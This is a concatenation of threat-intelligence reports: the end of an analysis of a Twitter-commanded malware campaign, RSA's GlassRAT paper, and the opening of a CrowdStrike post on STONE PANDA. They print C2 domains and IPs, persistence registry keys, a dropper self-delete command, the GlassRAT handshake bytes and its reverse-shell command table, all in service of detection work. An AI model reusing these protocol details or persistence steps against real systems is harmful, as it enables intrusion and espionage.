Detection of the running malware Due to a large number of compiled samples, there is a high chance that the current version is difficult to detect by signatures.
Yet, there are common features in the samples that can be used to identify the malware components.
In every sample we checked, the Program Files/Startup contains a file with .lnk extension after installation.
This is used to start up the malware after the computer is rebooted.
An example of the lnk file created by the malware: The contents of the .lnk files are similar to the below described path and file, but random names are used.
The extension of the dll called is generally .tmp or .cat or .db (not sure about full list) and the export function called has a random name.
C:\WINDOWS\system32\rundll32.exe C:\DOCUME1\ALLUSE1\APPLIC1\base.cat,JorNgoq The running process of the malware can be pinpointed, e.g., by using ProcessExplorer.
The running copies of stage 1 and 2 appear as separated rundll.exe processes.
It is very useful to create a memory dump from these running processes, e.g., by using SysInternals ProcessExplorer.
On the picture below, the export function name they use is GqOlls.
The names seem to follow a pattern: 6 chars long with two upper case letters.
A not fully cross-checked information is that during installation the malware will be copied in two copies to the system and the two executables differ.
This might mean that the executable modifies itself.
For example, we recovered the following two files: md5sum base.cat :113e6fc85317fdd135e3f5f19e6c7a58 base.cat md5sum 6rld.tmp : c786a4cdfe08dbe7c64972a14669c4d1 6rld.tmp where base.cat is the startup file, which is created based on 6lrd.tmp.
base.cat is stored in the All users directory, whereas 6lrd.tmp is stored in a users directory, e.g., in the guest user  directory as C:\Documents and Settings\guest\Local Settings\Application Data\6rld.tmp This user directory contains at least one more file, update.cmd with a specific content that could be used for detection.
E.g., a search for any .cmd files with content TASKKILL /f /IM acro might be a a detection tool of this stage.
As for stage 3 of the attack, it is important to note that it is not yet analyized deeply.
So once a victim downloads the 300k long piece of code, we dont know what happens with the previous stages, and we have no information about detections once this stage is reached, except the usage of the CC server news.grouptumbler.com.
4.
CC communication There are multiple layers of CC communications in the malware.
First the malware uses Google search to receive information from its master.
Then, it uses the Twitter messaging service looking for the twits of a specific Twitter user.
Commands received via this channel trigger the download of stage 2 and stage 3 code from the CC server.
We identified the following CC servers delivering stage 2 and stage 3 codes: Attack location CC server CC IP / location path on CC Hungary arabooks.ch 194.38.160.153 / Switzerland /lib/index.php /srch/index.php /forumengine/index.php /events/index.php /groups/[different] Luxembourg artas.org 95.128.72.24 / France /engine/index.php /web/index.php Belgium tsoftonline.com 72.34.47.186 / United States /views/index.php (Multiple) www.eamtm.com 188.40.99.143 / Germany /piwik/web/index.php The CC server used by stage 3 of the malware is news.grouptumbler.com and it is located in Panama.
At the time of this writing, port 80 seems to be closed on this server.
Address and open port information is below: news.grouptumbler.com/news/feed.php IP: 200.63.46.23 Interesting ports on 200.63.46.23: Not shown: 65524 closed ports PORT      STATE    SERVICE 22/tcp    open     ssh 111/tcp   open     rpcbind 920/tcp   open     unknown 1437/tcp  open     tabula 46436/tcp open     unknown Figure 6  Stage 3 CC server information 4.1.
Detection of CC communications Basic detection can be based on 3 queries that are initiated by the victim computers within seconds.
www.google.com  port TCP/80 - HTTP twitter.com port TCP/443 - SSL www.geoiptool.com port TCP/80 - HTTP Figure 7  Initial web page  and possibly DNS queries issued by the malware Known search strings in Google search (see below) can also be used to detect the malware.
Unfortunately, these strings are most likely unique to each CC server or victim, thus unknown samples might use other strings, but possibly with the same length.
lUFEfiHKljfLKWPR HkyeiIDKiroLaKYr lUFEfiHKDroLaKYr Figure 8  Google search strings used by the malware The malware also sends a query to the geoiptool.
An example is shown below: GET / HTTP/1.1 User-Agent: Mozilla/5.0 (compatible MSIE 7.0 Windows NT 6.0 en-US Trident/5.0) Host: www.geoiptool.com Figure 9  Geoip lookup query sample  Agent string might be different for each query 4.2.
Initial CC communication Initial communications with the stage 2/3 delivery CC servers (such as arabooks.ch) can be used to develop detection signatures as follows: The malware retrieves the URL using a Twitter query as described earlier.
Then, we can observe the first query from the victim towards the stage 2/3 delivery CC server.
This query contains pure HTTP traffic on port 80 to the server following the template below.
GET /original/path/shortname/index.php?eaaaaaaaaa where: shortname can be a number of strings, generally human readable (e.g.
lib, engine, forum, forumengine etc.)
e is not constant, can be anything, but generally 1-2 letters long aaaaaaaaa stands for some Base64-like text (see details below) the servers used are assumed to be legitimate sites, just hacked by the attackers.
Based on this format, we can detect a valid query as follows: The name of the 1st GET parameter should be discarded this means e is not important we saw only one GET parameter, queries with multiple parameters are likely not used For detection, the Base64-like string aaa should be first modified as follows: - should be replaced by _ should be replaced by / This results in correct Base64 encoding, which can be decoded with library functions such as base64_decode.
After decoding, a string of data, partially binary will be available.
Parts are separated by the delimiter character .
The format and a numerical example are below: binary data ( 100 bytes)numerical ID ( 10 digits)version number e.g., binary data55511155511.13 As the binary data itself may contain the  character, parsing should start from the end (i.e., the numerical ID starts from the second  character from the end).
In additional, the ID length may vary (not fully confirmed), but it seems to be around 10 digits.
Finally, the version number always follows the pattern 1digitdottwo digits, e.g., 1.1X 3.1X.
The correct decoding of the HTTP query information should be enough to quickly develop possible IDS-based detections.
As we have seen, detection is complicated, but not impossible.
The following is the summary of potential detection steps: Check if there is only one GET parameter (check if path is not empty and contains index.php)(possible, but not confirmed) convert the Base64-like GET parameter string into real Base64 encoding, and check if it decodes correctly check if the decoded string has at least two delimieter character  in it check if after the last but first  character, there are digits only check if the version part of the string follows the format 1.11 or similar The header sent is fairly standard, but we include one example nonetheless: 0x00d0:  2e31 0d0a 4163 6365 7074 3a20 2a2f 2a0d  .1..Accept:./.
0x00e0:  0a41 6363 6570 742d 456e 636f 6469 6e67  .Accept-Encoding 0x00f0:  3a20 677a 6970 2c20 6465 666c 6174 650d  :.gzip,.deflate.
0x0100:  0a55 7365 722d 4167 656e 743a 204d 6f7a  .User-Agent:.Moz 0x0110:  696c 6c61 2f34 2e30 2028 636f 6d70 6174  illa/4.0.
(compat 0x0120:  6962 6c65 3b20 4d53 4945 2037 2e30 3b20  ible.
MSIE.7.0.
0x0130:  5769 6e64 6f77 7320 4e54 2035 2e31 3b20  Windows.
NT.5.1.
0x0140:  5472 6964 656e 742f 342e 303b 2049 6e66  Trident/4.0.Inf 0x0150:  6f50 6174 682e 3129 0d0a 486f 7374 3a20  oPath.1)..Host:.
0x0160:  XXXX XXXX XXXX XXXX XXXX XX0d 0a43 6f6e  XXXXXXXXXXX..Con 0x0170:  6e65 6374 696f 6e3a 204b 6565 702d 416c  nection:.Keep-Al 0x0180:  6976 650d 0a0d 0a                        ive....
Figure 10  Other HTTP header values in a CC query The used Agent strings vary significantly across queries, therefore they cannot be really used for detection: Mozilla/4.0(compatibleMSIE6.0WindowsNT5.1) Mozilla/4.0(compatibleMSIE6.0WindowsNT5.1SV1) Mozilla/4.0(compatibleMSIE6.0WindowsNT5.1SV1InfoPath.2) Mozilla/4.0(compatibleMSIE7.0WindowsNT5.1Trident/4.0.NETCLR1.1.4322 .NETCLR2.0.50727.NETCLR3.0.4506.2152.NETCLR3.5.30729InfoPath.2) Mozilla/4.0(compatibleMSIE7.0WindowsNT5.1Trident/4.0.NETCLR2.0.50727 .NETCLR3.0.4506.2152.NETCLR3.5.30729InfoPath.2) Mozilla/4.0(compatibleMSIE7.0WindowsNT5.1Trident/4.0.NET4.0C.NETCLR 1.1.4322.NETCLR2.0.50727.NETCLR3.0.4506.2152.NETCLR3.5.30729.NET4.0E InfoPath.3) Mozilla/4.0(compatibleMSIE7.0WindowsNT5.1Trident/4.0GTB7.4InfoPath.1 .NETCLR3.0.4506.2152.NETCLR3.5.30729.NETCLR1.0.3705.NETCLR1.1.4322 .NET4.0E.NET4.0C.NETCLR2.0.50727) Mozilla/4.0(compatibleMSIE7.0WindowsNT5.1Trident/4.0InfoPath.2) Mozilla/4.0(compatibleMSIE7.0WindowsNT6.1Trident/4.0GTB7.4SLCC2.NET CLR2.0.50727.NETCLR3.5.30729.NETCLR3.0.30729MediaCenterPC6.0InfoPa th.3.NET4.0C.NET4.0E) Mozilla/4.0(compatibleMSIE7.0WindowsNT6.1Trident/5.0SLCC2.NETCLR2.0 .50727.NETCLR3.5.30729.NETCLR3.0.30729) Mozilla/4.0(compatibleMSIE7.0WindowsNT6.1Trident/5.0SLCC2.NETCLR2.0 .50727.NETCLR3.5.30729.NETCLR3.0.30729InfoPath.3MediaCenterPC6.0.N ET4.0C.NET4.0E) Mozilla/4.0(compatibleMSIE7.0WindowsNT6.1Trident/5.0SLCC2.NETCLR2.0 .50727.NETCLR3.5.30729.NETCLR3.0.30729MediaCenterPC6.0.NET4.0C.NET 4.0E) Mozilla/4.0(compatibleMSIE7.0WindowsNT6.1Trident/5.0SLCC2.NETCLR2.0 .50727.NETCLR3.5.30729.NETCLR3.0.30729MediaCenterPC6.0.NET4.0CInfo Path.2.NET4.0E) Mozilla/4.0(compatibleMSIE7.0WindowsNT6.1Trident/5.0SLCC2.NETCLR2.0 .50727.NETCLR3.5.30729.NETCLR3.0.30729MediaCenterPC6.0CMDTDF.NET4.
0CInfoPath.3) Mozilla/4.0(compatibleMSIE7.0WindowsNT6.1Trident/5.0SLCC2.NETCLR2.0 .50727.NETCLR3.5.30729.NETCLR3.0.30729MediaCenterPC6.0InfoPath.2) Mozilla/4.0(compatibleMSIE7.0WindowsNT6.1WOW64Trident/5.0SLCC2.NET CLR2.0.50727.NETCLR3.5.30729.NETCLR3.0.30729MediaCenterPC6.0.NET4.0 C.NET4.0E) Mozilla/4.0(compatibleMSIE7.0WindowsNT6.1WOW64Trident/5.0SLCC2.NET CLR2.0.50727.NETCLR3.5.30729.NETCLR3.0.30729MediaCenterPC6.0.NET4.0 C.NET4.0EBRI/2InfoPath.3) Mozilla/4.0(compatibleMSIE7.0WindowsNT6.1WOW64Trident/5.0SLCC2.NET CLR2.0.50727.NETCLR3.5.30729.NETCLR3.0.30729MediaCenterPC6.0.NET4.0 C.NET4.0EInfoPath.2) Mozilla/4.0(compatibleMSIE7.0WindowsNT6.1WOW64Trident/5.0SLCC2.NET CLR2.0.50727.NETCLR3.5.30729.NETCLR3.0.30729MediaCenterPC6.0.NET4.0 C.NET4.0EInfoPath.3) Mozilla/4.0(compatibleMSIE8.0WindowsNT5.1Trident/4.0.NETCLR2.0.50727 .NETCLR3.0.04506.648.NETCLR3.5.21022.NETCLR3.0.4506.2152.NETCLR3.5.3 0729InfoPath.2) Mozilla/5.0(WindowsNT5.1rv:19.0)Gecko/20100101Firefox/19.0 Mozilla/5.0(WindowsNT6.1rv:10.0)Gecko/20100101Firefox/10.
Figure 11  Agent strings used in CC comms  might be partial or wrong  not useful for detection 4.3.
Other indicators of CC communication: Google and Twitter queries The Google search step also uses different agent strings: GET /search/?qlUFEfiHKDroLaKYr HTTP/1.1 304 211 - Opera/7.0 (compatible MSIE 7.0 Windows NT 6.0 en-US WOW64) GET /search?qlUFEfiHKDroLaKYr HTTP/1.1 301 588 - Opera/5.0 (Windows U Windows NT 5.2 en-US Trident/4.0) GET /search?qlUFEfiHKDroLaKYr HTTP/1.1 301 588 - Opera/4.0 (Windows NT 5.1 en-GB Trident/4.0) Figure 12  Some Google search agent strings GET /EdithAlbert11 HTTP/1.1 404 1229 - Mozilla/6.0 (X11 Linux x86_64 en-GB Trident/5.0) GET /ifsWcj9a HTTP/1.1 404 529 - Mozilla/5.0 (compatible MSIE 6.0 Windows NT 5.0 en-GB WOW64 Trident/5.0) GET /EdithAlbert11 HTTP/1.1 404 644 - Mozilla/5.0 (Windows NT 5.1 en-GB Trident/4.0) GET /ifsWcj9a HTTP/1.1 404 529 - Mozilla/5.0 (compatible MSIE 6.0 Windows NT 5.0 en WOW64 Trident/5.0) GET /EdithAlbert11 HTTP/1.1 404 1229 - Mozilla/7.0 (compatible MSIE 7.0 Windows NT 6.0 en-GB WOW64) ] GET /ifsWcj9a HTTP/1.1 404 510 - Opera/5.0 (compatible MSIE 9.0 Windows NT 6.1 en-GB SV1) Figure 13  Twitter search samples  443/SSL The CC servers response  if it sends encrypted files  is a GIF file containing a small icon, and after that, the malware: 0x0020:  XXXX XXXX XXXX XXXX 4749 4638 3961 2000  XXXXXXXXGIF89a.. 0x0030:  2000 f700 00bc 5514 faa9 52eb 851c f39b  ......U...R..... 0x0040:  50ee 934d bd4e 05eb 8422 1a20 32ea b279  P..M.N.....2..y 0x0050:  973f 06e9 7522 fdf9 f5d8 6c40 a148 10f9  .?..u....l.H..
0x0060:  e5d4 181d 2df5 9f4a 402c 29ec 8a46 fdf5  ....-..J,)..F.. 0x0070:  ecef caa6 e37d 46dc 5d22 c152 09dc 8d49  .....F.].R...I 0x0080:  eccb b4f4 dac3 fa91 21f8 8e22 c15a 19f4  ...........Z.. 0x0090:  871b fb9f 3bfb 972e f1cb b3e9 ab6c f289  ............l.. 0x00a0:  31f9 9837 0d0f 17e9 8446 7333 0bfb e8d3  1..7.....Fs3....
Figure 14  GIF File header sent back by the CC server For stage 3 (i.e., id.gif files), the file downloaded has a larger size (300KB).
It also begins with a GIF header, but that header is only 13 bytes long, and then starts the encrypted executable, as shown below: Examples for twits containing the URL of the CC server are shown below: The weather is good today.
Sunny uriwp07VkkxYt3Mne5uiDkz4Il/Iw48Ge/EWg Albert, my cousin.
He is working hard.
uriwp07VkkxYmfNkwN2nBmx4ch/Iu2cGJow39HbphL My native town was ruined by tornado.
uriwp07VkkxYt3Md/JOnLhzRL2FJjY8l2It Figure 15  Known twitter answers for CC discovery The twitter information is currently not very useful for content based detection, as it is downloaded through SSL connection, and therefore, IDS rules can only be applied if some SSL proxy is used.
An interesting observation is that this user follows 4 partners, most likely for deception.
RSA Research PEERING INTO GLASSRAT A Zero Detection Trojan from China Authors: Kent Backman, primary research Jared Myers, contributing Chris Ahearn, contributing Maor Franco, contributing Peter Beardmore, contributing November 23, 2015 2 Content and liability disclaimer This Research Paper is for general information purposes only, and should not be used as a substitute for consultation with professional advisors.
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November 23, 2015 3 EXECUTIVE SUMMARY .......................................................................... 4 OVERVIEW ........................................................................................... 4 BACKGROUND ...................................................................................... 4 DROPPER SUBMISSIONS FROM CHINA ................................................. 6 UNDER THE RADAR FOR YEARS, TARGETS CHINESE NATIONALS OR ORGANIZATIONS ................................................................................. 7 GLASSRAT MALWARE ANALYSIS, DESIGNED FOR DECEPTION .............. 8 GLASSRAT CAPABILITIES AND FUNCTIONS ....................................... 10 COMMAND AND CONTROL .................................................................. 11 APPENDIX .......................................................................................... 13 PRIVATE ANNEX ................................................................................. 13 RSA Research EXECUTIVE SUMMARY RSA Research has discovered a zero detection Remote Administration Tool (RAT) dubbed GlassRAT, signed with a certificate which appears to have been misappropriated from a popular software developer in China.
This malware has gone under the radar for what may be several years.
Telemetry and limited anecdotal reports indicate that Chinese nationals associated with large multinational corporations may be the targets of campaigns employing GlassRAT.
While transparent to most antivirus products, GlassRAT can be detected using network forensic or endpoint tools such as RSA Security Analytics and/or RSA ECAT.
Also presented is evidence that GlassRATs command and control (C2) infrastructure has some historical overlap with other malicious malware campaigns that have previously targeted Asia-based organizations of geopolitical and strategic importance.
OVERVIEW When a cyber espionage campaign is identified the threat actors tools, techniques, and procedures revealed the malware now detectable by antivirus-  What do the bad guys do next?
History shows us that this is just part of the process.
Once operations or campaigns are uncovered, the attackers have contingency plans, which can include minimally substituting only the tools in their kit that may have been detected and/or perhaps finding new victims, who are less alert to their threat.
There maybe no need to change the Command and Control infrastructure or their techniques.
In very large cyber intelligence organizations, which carry a diverse list of objectives and targets, there is likely to be shared leadership, policies and procedures, infrastructure, and ample sources and libraries of advanced hacking tools (many still unexposed to researchers)-  all servicing subordinate organizations with far narrower objectives.
GlassRAT has (briefly) shared C2 infrastructure with some large campaigns, identified earlier in the decade, that targeted geopolitical organizations in the Asia-Pacific region.
The telemetry of GlassRAT and limited forensic samples suggest that targeting is narrowly focused.
Thus, what makes GlassRat notable is not what it is, but perhaps rather where it came from, who is using it, and for what purpose.
Spoiler alert: this paper does not offer a conclusion.
Rather, we believe the limited facts are worth consideration, particularly when there may-well be many more undetected / undetectable samples in the wild.
Detecting the infrastructure and resulting behavior of these tools is perhaps more important when preventive defenses consistently fail.
It is also crucially important to recognize the potential origins of these attacks, when detected, to better understand risks to the organization.
RSA Research looked for any similarities with other previously described malware, and exploitation campaigns.
While several code similarities were found with other malware such as Taidoor1 and Taleret2, the most interesting overlap with GlassRAT might be in the C2 infrastructure shared with geopolitical campaigns (outlined below), which were reported earlier in this decade.
BACKGROUND GlassRAT appears to have operated, stealthily, for nearly 3 years in some environments.
Evidence indicates that Chinese nationals associated with large multinational corporations in and outside of China may be the targets of campaigns employed by GlassRat.
GlassRat employs many of the telltale signs of good, at least very effective, malware design.
Its dropper is signed using a compromised certificate from a trusted and well-known publisher.3  It deletes itself after successfully delivering its payload.
Once installed, the malicious DLL file persists below the radar of endpoint antivirus.
GlassRat first came to the attention of RSA Research in February 2015 when the RSA Incident Response team, which specializes in responding to advance threat intrusions in large enterprise networks, detected malicious traffic while investigating an incident at a multi-national firm based in the U.S.  A dll sample was discovered, using RSA ECAT, on the PC of a Chinese national.
There was no evidence of any dropper.
Retrospective analysis on Virus Total revealed a sample submitted from Hong Kong in December 2014, which exhibited matching characteristics, but a different hash.
This 1 http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf 2 https://www.fireeye.com/blog/threat-research/2013/09/evasive-tactics-taidoor-3.html 3 The Certificate Authority (CA) that issued this certificate was informed and subsequently revoked the likely stolen code-signing certificate, after independently confirming the maliciousness of the signed code.
5 prompted RSA to create a Yara signature which was then fed into the RSA Research hunting capability, as well as to ECAT in the client environment.
That signature alerted several months later, in September 2015, from samples appearing to originate in China.
These included two droppers, and malware that was functionally identical but with different C2.
(The domains were different, but the IPs overlapped with the previous samples for a period of time.)
RSA Research has linked GlassRAT C2 to other malicious malware C2 infrastructure by way of malicious domains that pointed to common hosting.
In September 2012, Dell SecureWorks reported on a cyber espionage campaign that used a RAT named Mirage (also known as MirageFox).4  PlugX C2 hosts in these and other campaigns were enumerated56 by Haruyama and Suzuki at BlackHat Asia in 2014.
The threat actor group who controlled alternate009.com created C2 host records for PlugX malware targeting Mongolian government78.
That same threat actor group who controlled alternate009.com created C2 host records for Mirage malware9 targeting the Philippines military10.
The malicious domain mechanicnote.com was used for C2 by several different types of malware, including Mirage malware11 used for targeting the Philippine military.
This malware with mechanicnote.com domain C2 used a controller on the same IP address and server also used for GlassRAT malware C2 (101.55.x.x, bits.foryousee.net).
The domain news-google.net employed by MagicFire malware12 C2 targeting the Philippine military, also used a malware controller hosted on the IP address 173.231.x.x, which was used for Mongolia-targeting PlugX malware13 employing the malicious cainformations.com domain.
Another mecahnicnote.com C2 URL used the same IP address, 198.40.x.x, as did malware using cainformations.com and alternate009.com domains for C2.
These domains in turn are tied directly to Magicfire, Mirage and PlugX malware in several malicious campaigns.
To summarize the GlassRAT C2 infrastructure connections, we have GlassRAT connected to Mirage malware C2 hosting, which in turn is connected to Magicfire, PlugX and Mirage malware targeting the Philippine military and the Mongolia government.
The temporal overlap window in shared infrastructure was relatively short implying a possible operational security slip by the actors behind GlassRAT if not deliberate sharing of infrastructure.
The infrastructure overlap traced by RSA Research can be seen in detail in the attached C2 overlap graphic in the Appendix.
4 http://www.secureworks.com/cyber-threat-intelligence/threats/the-mirage-campaign/ 5 https://www.blackhat.com/docs/asia-14/materials/Haruyama/Asia-14-Haruyama-I-Know-You-Want-Me-Unplugging-PlugX.pdf 6 http://pastebin.com/B2jNMrM8 7 https://www.threatconnect.com/khaan-quest-chinese-cyber-espionage-targeting-mongolia/ 8 http://pastebin.com/B2jNMrM8 9 https://www.virustotal.com/en/file/421f4c83898ff3ae9b2a94621140ef770888a8a0914b163cdae4690433173899/analysis/ 10 http://blog.trendmicro.com/trendlabs-security-intelligence/christmas-themed-malware-starts-to-jingle-all-the-way/ 11 https://www.virustotal.com/en/file/91279f578d2836ea679ae9578068cb70810fb781faf6d7c03c3212aa509f3e7b/analysis/ 12 https://www.virustotal.com/en/file/2ee38b14a570f693c093a53c53c6d10234fb11cfb7318022190cdb8c96d73b35/analysis/ 13 http://pastebin.com/B2jNMrM8 6 DROPPER SUBMISSIONS FROM CHINA As discussed above, RSA Research was first alerted to some specific zero detection malware by the RSA Incident Response services team.
Also notable is that the first observed sample14 of this zero detection malware may have been deployed since September of 2012, if the compile time (Figure 1) is any indicator.
We dont know if there is any connection between the compilation of GlassRAT and the reports of malware outlined above, much occurring in roughly the same timeframe.
Figure 1 Compilation timestamp of first known sample of GlassRAT malware, appearing on VirusTotal in September of 2014.
The indicators (see GlassRAT Yara signature in appendix) were fed into the RSA Research hunting capability.
Months later RSA Research was alerted to two samples of the GlassRAT malware installer program or dropper.
Both of these dropper samples were not detected by static analysis routines of 57 different Antivirus vendors (Figure 2) on the VirusTotal website.
Figure 2 Zero Antivirus detection ratio of GlassRAT dropper The two GlassRAT malware dropper samples were functionally identical.
One of the samples was uploaded to VirusTotal about four hours before the next dropper15.
The second GlassRAT dropper for which RSA Research was alerted16 was signed with a valid code-signing certificate associated with a Beijing-based software developer.
One particular application associated with this developer has over half a billion users worldwide, according to the company.
14 https://www.virustotal.com/en/file/89317809806ef90bb619a4163562f7db3ca70768db706a4ea483fdb370a79ede/analysis/ 15 https://www.virustotal.com/en/file/c11faf7290299bb13925e46d040ed59ab3ca8938eab1f171aa452603602155cb/analysis/ 16 https://www.virustotal.com/en/file/30d26aebcee21e4811ff3a44a7198a5c519843a24f334880384a7158e07ae399/analysis/ 7 UNDER THE RADAR FOR YEARS, TARGETS CHINESE NATIONALS OR ORGANIZATIONS Also notable is that the first publically accessible sample of this zero-detection malware (Figure 3) may have been in the wild since September of 2012, if the compile time is any indicator.
RSA Research has no reason to suspect that the compile date was forged.
Additionally, RSA has learned through telemetry data and limited anecdotal reports that GlassRAT may principally be targeting Chinese nationals or other Chinese speakers, in China and elsewhere, since at least early 2013.
The samples uploaded on 24 September 2015 appear to be the first known instance of the dropper/installer files.
Figure 3 First sample of GlassRAT known in the wild The absence of an identified dropper in public malware databases prior to September 2015 may explain why the GlassRAT Trojan has maintained a low profile with AV vendors since its first appearance on VirusTotal in December of 2014 (Figure 4).
Figure 4 First submission date of identified GlassRAT malware as per VirusTotal Figure 5 shows some of the code-signing certificate details, with the name of the software developer redacted.
8 Figure 5 GlassRAT signed file metadata At the time of this writing, the malware has been shared with Symantec and Adobe, who were indirectly effected because of the Adobe trademark and the Symantec/Verisign certificate.
As more vendors are made aware of this malware, RSA Research believes the detection ratio will increase from the near zero ratio at the time of this writing.
GLASSRAT MALWARE ANALYSIS, DESIGNED FOR DECEPTION RSAs Research has analyzed the GlassRAT trojan and determined that it is a simple but capable RAT with reverse shell as well as other typical capabilities of RATs, such as file transferring and process listing.
The GlassRAT dropper uses the trademarked icon of Adobe Flash player, and was named Flash.exe (Figure 6) when it was uploaded to VirusTotal from an IP address, likely in the Peoples Republic of China on September 17, 2015.
Figure 6 GlassRAT dropper as viewed in Windows Explorer Double clicking on the flash.exe files causes the dropper to launch.
The GlassRAt malware installation is as follows: 1.
Dropper (flash.exe) writes the GlassRAT DLL to the ProgramData folder 2.
Dropper runs the DLL file using the built-in Windows utility rundll32.exe 3.
GlassRAT DLL file modifies the run key for logon persistence with user-level permissions with the following registry key.
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run   Update 4.
the dropper deletes itself with and embedded command: cmd.exe /c erase /F s, 9 While the DDL file is actually written to the root of C:\ProgramData the registry entry points to the legacy junction in Windows Vista and later C:\ProgramData\Application Data\ as would be shown in the Microsoft SysInternals Autoruns tool.
Figure 7 GlassRAT non-privileged persistence as viewed through the Autoruns tool Manually bypassing UAC with a right-click reveals metadata associated with the dropper (Figure 8).
Figure 8 UAC pop-up if invoked with right click and Run as administrator The program name text presented in the UAC dialog box is identical to the name of the legitimate 500 million-user application produced by the owner of the certificate.
In the case of installation with privileged user rights such as might be obtained by an exploit or particularly good social engineering technique, persistence would consist of installation as an unused service (such as the RasAuto service in Figure 9), which is commonly a disabled-by-default service on ordinary Windows user/client PCs.
HKLM\System\CurrentControlSet\Services c:\programdata\application data\updatef.dll Figure 9 GlassRAT persistence mechanism if installed using administrative privileges The timestamp on the DLL reflects the compile date of the binary.
RSA Research found samples of GlassRAT with three unique C2 configurations (Table 1).
Static analysis of these  GlassRAT DLLs revealed that the C2 host configuration is obfuscated in all of the samples using a simple XOR technique, utilizing 0x01 as the one-byte key.
The most recent sample used URLs for C2, other samples used URLs in combination with a hard coded IP address (perhaps as a backup), and yet another GlassRAT sample we found used only a single IP address with no URLs.
The C2 port for each specified C2 node is stored as a packed string and can be readily decoded with a simple script.
10 GlassRAT DLL MD5 Obfuscated C2 hosts(s) C2 hosts XOR decoded with 0x01 5c17395731ec666ad0056d3c88e99c4d 003/064/50/60 112.175.x.x e98027f502f5acbcb5eda17e67a21cdc chur/gnsxntrdd/odu 012/31/084/353 bits.foryousee.net 103.20.x.x 59b404076e1af7d0faae4a62fa41b69f py/strdsr/bnl ly/strdsr/bnl yy/strdsr/bnl qx.rausers.com mx.rausers.com xx.rausers.com Table 1 Three different GlassRAT C2 host configurations found in the wild by RSA Research GLASSRAT CAPABILITIES AND FUNCTIONS GlassRAT provides reverse shell functionality to an infected victim.
The communication contains a handshake between the attacker and the victim.
The sample will send the hard coded value 0x cb ff 5d c9 ad 3f 5b a1  54 13 fe fb 05 c6 22, the response from the C2 is then compared with the value 0x3f5ba154 and then the subsequent commands are a series of two byte codes.
The malware performs a sanity check to make sure that the low byte of the two-byte combinations is 17 (0x11) or less.
A QWORD is used to track directionality, and a DWORD is used to delimit data size.
Control data is then passed to and from GlassRAT in the clear, such that system information and Windows command shell output would be readily observable in network traffic.
GlassRAT initially accepts two primary commands (both with a set of sub commands) from its controller which are as follows: 0x01:  Provides/Enumerates system information from the victim host 0x02:  Native Command and reverse shell communications and output.
The initial beacon and handshake of controller-initiated C2 will pass the IP address of the victim to the GlassRAT controller.
However, this was not observed in our dynamic analysis, suggesting that it requires manual command from the C2 operator.
Perhaps such commands are performed by the operator only if a connection by a nosy researcher has been ruled out.
When the 0x01 primary command is issued the malware is configured with the following subcommands, which are in red.
0x01 01  C2 request for System Information 0x01 02  Victim response to request for system information 0x01 03  C2/Victim keep alive 0x01 06  C2 Read C:\ProgramData\off.dat When the 0x02 primary command is issued the malware is configured with the following subcommands.
Not all of the 17 possibilities are utilized in the samples that were analyzed, and this could allow for future expansion of the malwares capabilities by its author(s).
0x02 01  C2 Cmd command 0x02 02  Victim Response from cmd commands 0x02 03  C2 initiate cmd.exe pipe/thread 0x02 04  C2 kill cmd pipe/thread 0x02 05  C2 execute file/start process 0x02 06  Not Used/present 0x02 07  Not Used/present 0x02 08  Victim response to file download  File not found 0x02 09  Not Used/present 0x02 0A  Not Used/present 0x02 0B  C2 command to get handle information 0x02 0C  Download file from Victim 0x02 0D  Victim response to file download  File transmission 11 0x02 0E  Upload/write file to Victim 0x02 0F  Not Used/present 0x02 10  C2 command to get handle information 0x02 11  Create process on Victim 0x02 12  Victim response to file upload COMMAND AND CONTROL To perform dynamic analysis on the new dropper, RSA Research leveraged RSA Security Analytics (Figure 10) and RSA ECAT to quickly gather indicators and forensic details about the GlassRAT malware.
Figure 10 GlassRAT C2 activity in RSA Security Analytics RSA ECAT (Figure 11) reveals that the Trojan is loaded as RasAuto service (via svchost.exe network service process) when installed with administrative privileges, and Figure 12 indicates detection by RSA ECAT when installed with non-privileged credentials (rundll32.exe running the GlassRAT DLL).
Figure 11 GlassRAT (administrative install) C2 as detected by RSA ECAT 12 Figure 12 GlassRAT (user-level install) C2 as detected by RSA ECAT Analysts wishing to leverage RSA ECAT to find RATs including GlassRAT in their enterprise networks may want to refer to the technical whitepaper Catching the R.A.T.
with ECAT17 presented at RSA Charge by Justin Lamarre.
RSA Security Analytics reveals connections to following host aliases, which as of the time of this writing, resolve to the same IP address: 115.144.x.x in South Korea.
The GlassRAT connects with the following string in the handshake.
cb ff 5d c9 ad 3f 5b a1 54 13 fe fb 05 c6 22 The handshake protocol has been incorporated into a parser for RSA Security Analytics (Figure 13) that is included in this reports annex, as well as on RSA Live.
Figure 13 GlassRAT C2 parser in action on RSA Security Analytics Even without the parser (typical with a protocol-abusing raw socket connection) RSA Security Analytics flags on unknown service over http port and unknown service over ssl port (Figure 14), cluing the security investigator to the probability that the traffic is malicious.
17 http://charge.rsa.com/wp-content/uploads/2015/09/Finding-The-R.A.T-With-ECAT.pdf 13 In each case, the Trojan dropper installed the DLL with the file pointer hard coded to be 12 megabytes in size.
Thus, although the functional part of the GlassRAT DLL is only 16kb or so in size, the file size shown on disk is much larger (Figure 15).
Figure 15 GlassRAT DLL takes 11MB on disk, but consists of mostly null data bytes APPENDIX Campaign C2 overlap graphic Malware hashes C2 infrastructure (some IP addresses redacted) GlassRAT Yara signature PRIVATE ANNEX Unredacted C2 infrastructure Unredacted campaign C2 overlap graphic GlassRAT C2 decoder script (RSA customers and vetted industry partners can have access to the private annex by emailing conopsRSA.com.)
Figure 14 GlassRAT protocol abuse identified by Security Analytics
Adam Kozy August 30, 2018 Two Birds, One STONE PANDA crowdstrike.com/blog/two-birds-one-stone-panda Introduction In April 2017, a previously unknown group calling itself IntrusionTruth began releasing blog posts detailing individuals believed to be associated with major Chinese intrusion campaigns.
Although the groups exact motives remain unclear, its initial tranche of information exposed individuals connected to long-running GOTHIC PANDA (APT3) operations, culminating in a connection to the Chinese firm Boyusec ( ) and, ultimately, Chinese Ministry of State Security (MSS) entities in Guangzhou.
Recently, in July and August 2018, IntrusionTruth has returned with new reporting regarding actors with ties to historic STONE PANDA (APT10) activity and has ultimately associated them with the MSS Tianjin Bureau ().
Though CrowdStrike Falcon Intelligence is currently unable to confirm all of the details provided in these most recent posts with a high degree of confidence, several key pieces of information can be verified.
Several of the named individuals have been active registering domains as recently as June 2018, and they responded to the IntrusionTruth blog posts by scrubbing their social media or by following IntrusionTruths Twitter account.
